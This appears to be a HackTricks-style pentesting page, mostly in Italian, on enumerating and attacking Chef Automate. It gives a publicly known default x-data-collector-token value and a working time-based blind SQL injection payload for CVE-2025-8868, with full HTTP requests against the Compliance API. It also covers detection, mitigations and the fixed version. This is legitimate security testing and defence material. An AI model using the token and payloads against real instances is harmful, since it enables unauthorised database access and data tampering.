# Chef Automate Enumeration & Attacks

{{#include ../../banners/hacktricks-training.md}}

## Panoramica

Questa pagina raccoglie tecniche pratiche per enumerare e attaccare istanze Chef Automate, con enfasi su:
- Scoprire endpoint REST supportati da gRPC-Gateway e inferire gli schemi delle richieste tramite risposte di validazione/errore
- Abusare dell'header di autenticazione x-data-collector-token quando sono presenti valori di default
- Blind SQL injection basata sul tempo nella Compliance API (CVE-2025-8868) che interessa il campo filters[].type in /api/v0/compliance/profiles/search

> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.

## Ricognizione: Architettura e Impronte

- Front-end: Spesso Angular. I bundle statici possono suggerire i percorsi REST (es., /api/v0/...)
- Trasporto API: REST a gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Impronte del database/driver:
- Corpi di errore che iniziano con pq: suggeriscono fortemente PostgreSQL con il driver Go pq
- Endpoint interessanti di Compliance (autenticazione richiesta):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search

## Autenticazione: Data Collector Token (x-data-collector-token)

Chef Automate espone un data collector che autentica le richieste tramite un header dedicato:

- Header: x-data-collector-token
- Rischio: Alcuni ambienti possono mantenere un token di default che concede accesso a rotte API protette. Valore di default noto osservato in natura:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

Se presente, questo token può essere usato per chiamare gli endpoint della Compliance API altrimenti protetti da autenticazione. Tentare sempre di ruotare/disabilitare i valori di default durante l'hardening.

## API Schema Inference via Error-Driven Discovery

gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.

Per /api/v0/compliance/profiles/search, il backend si aspetta un body con un array filters, dove ogni elemento è un oggetto con:

- type: string (identificatore del campo filtro)
- values: array of strings

Esempio di struttura della richiesta:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
JSON malformato o tipi di campo errati in genere generano 4xx/5xx con indizi, e gli header indicano il comportamento del gRPC-Gateway. Usali per mappare i campi e localizzare le superfici di iniezione.

## API di Compliance SQL Injection (CVE-2025-8868)

- Affected endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Mancanza di corretta parametrizzazione/whitelisting quando si interpola il campo type in un frammento SQL dinamico (probabilmente usato per costruire identificatori/clausole WHERE). Valori appositamente creati nel campo type vengono valutati da PostgreSQL.

Payload time-based funzionante:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Note sulla tecnica:
- Chiudi la stringa originale con un apice singolo (')
- Concatena una sottoquery che chiama pg_sleep(N)
- Rientra nel contesto della stringa tramite || in modo che la query SQL finale rimanga sintatticamente valida indipendentemente da dove type è inserito

### Prova tramite latenza differenziale

Invia richieste in coppia e confronta i tempi di risposta per convalidare l'esecuzione lato server:

- N = 1 secondo
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 secondi
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- I tempi di risposta aumentano proporzionalmente a pg_sleep(N)
- Le risposte HTTP 500 possono includere dettagli pq: durante le prove, confermando percorsi di esecuzione SQL

> Suggerimento: Usa un validatore dei tempi (es., prove multiple con confronto statistico) per ridurre il rumore e i falsi positivi.

### Impatto

Utenti autenticati—or attori non autenticati che sfruttano un valore di default di x-data-collector-token—possono eseguire SQL arbitrario nel contesto PostgreSQL di Chef Automate, mettendo a rischio la riservatezza e l'integrità dei profili di compliance, della configurazione e della telemetria.

### Versioni interessate / Fix

- CVE: CVE-2025-8868
- Indicazioni per l'aggiornamento: Chef Automate 4.13.295 o successivo (Linux x86) secondo gli avvisi del vendor

## Rilevamento e analisi forense

- Livello API:
- Monitorare i 500 su /api/v0/compliance/profiles/search dove filters[].type contiene virgolette ('), concatenazione (||), o riferimenti a funzioni come pg_sleep
- Ispezionare gli header di risposta per grpc-metadata-content-type per identificare flussi gRPC-Gateway
- Livello database (PostgreSQL):
- Auditare la presenza di chiamate pg_sleep e errori di identificatore malformato (spesso esposti con prefissi pq: provenienti dal driver Go pq)
- Autenticazione:
- Registrare e generare allarmi sull'uso di x-data-collector-token, in particolare sui valori di default noti, attraverso i percorsi API

## Mitigazioni e Hardening

- Immediato:
- Ruotare/disabilitare i token di data collector di default
- Restringere l'ingresso agli endpoint dei data collector; applicare token forti e unici
- A livello di codice:
- Parametrizzare le query; non concatenare mai frammenti SQL con stringhe
- Applicare rigidamente una whitelist dei valori type consentiti sul server (enum)
- Evitare l'assemblaggio dinamico di SQL per identificatori/clausole; se è richiesto comportamento dinamico, usare quoting sicuro degli identificatori e whitelist esplicite

## Checklist pratica per i test

- Verificare se x-data-collector-token viene accettato e se il valore di default noto funziona
- Mappare lo schema di richiesta della Compliance API inducendo errori di validazione e leggendo messaggi di errore/header
- Testare SQLi in campi meno ovvi di tipo “identifier-like” (es., filters[].type), non solo array di values o campi di testo di primo livello
- Usare tecniche basate sul tempo con concatenazione per mantenere SQL sintatticamente valido attraverso i contesti

## Riferimenti

- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)

{{#include ../../banners/hacktricks-training.md}}
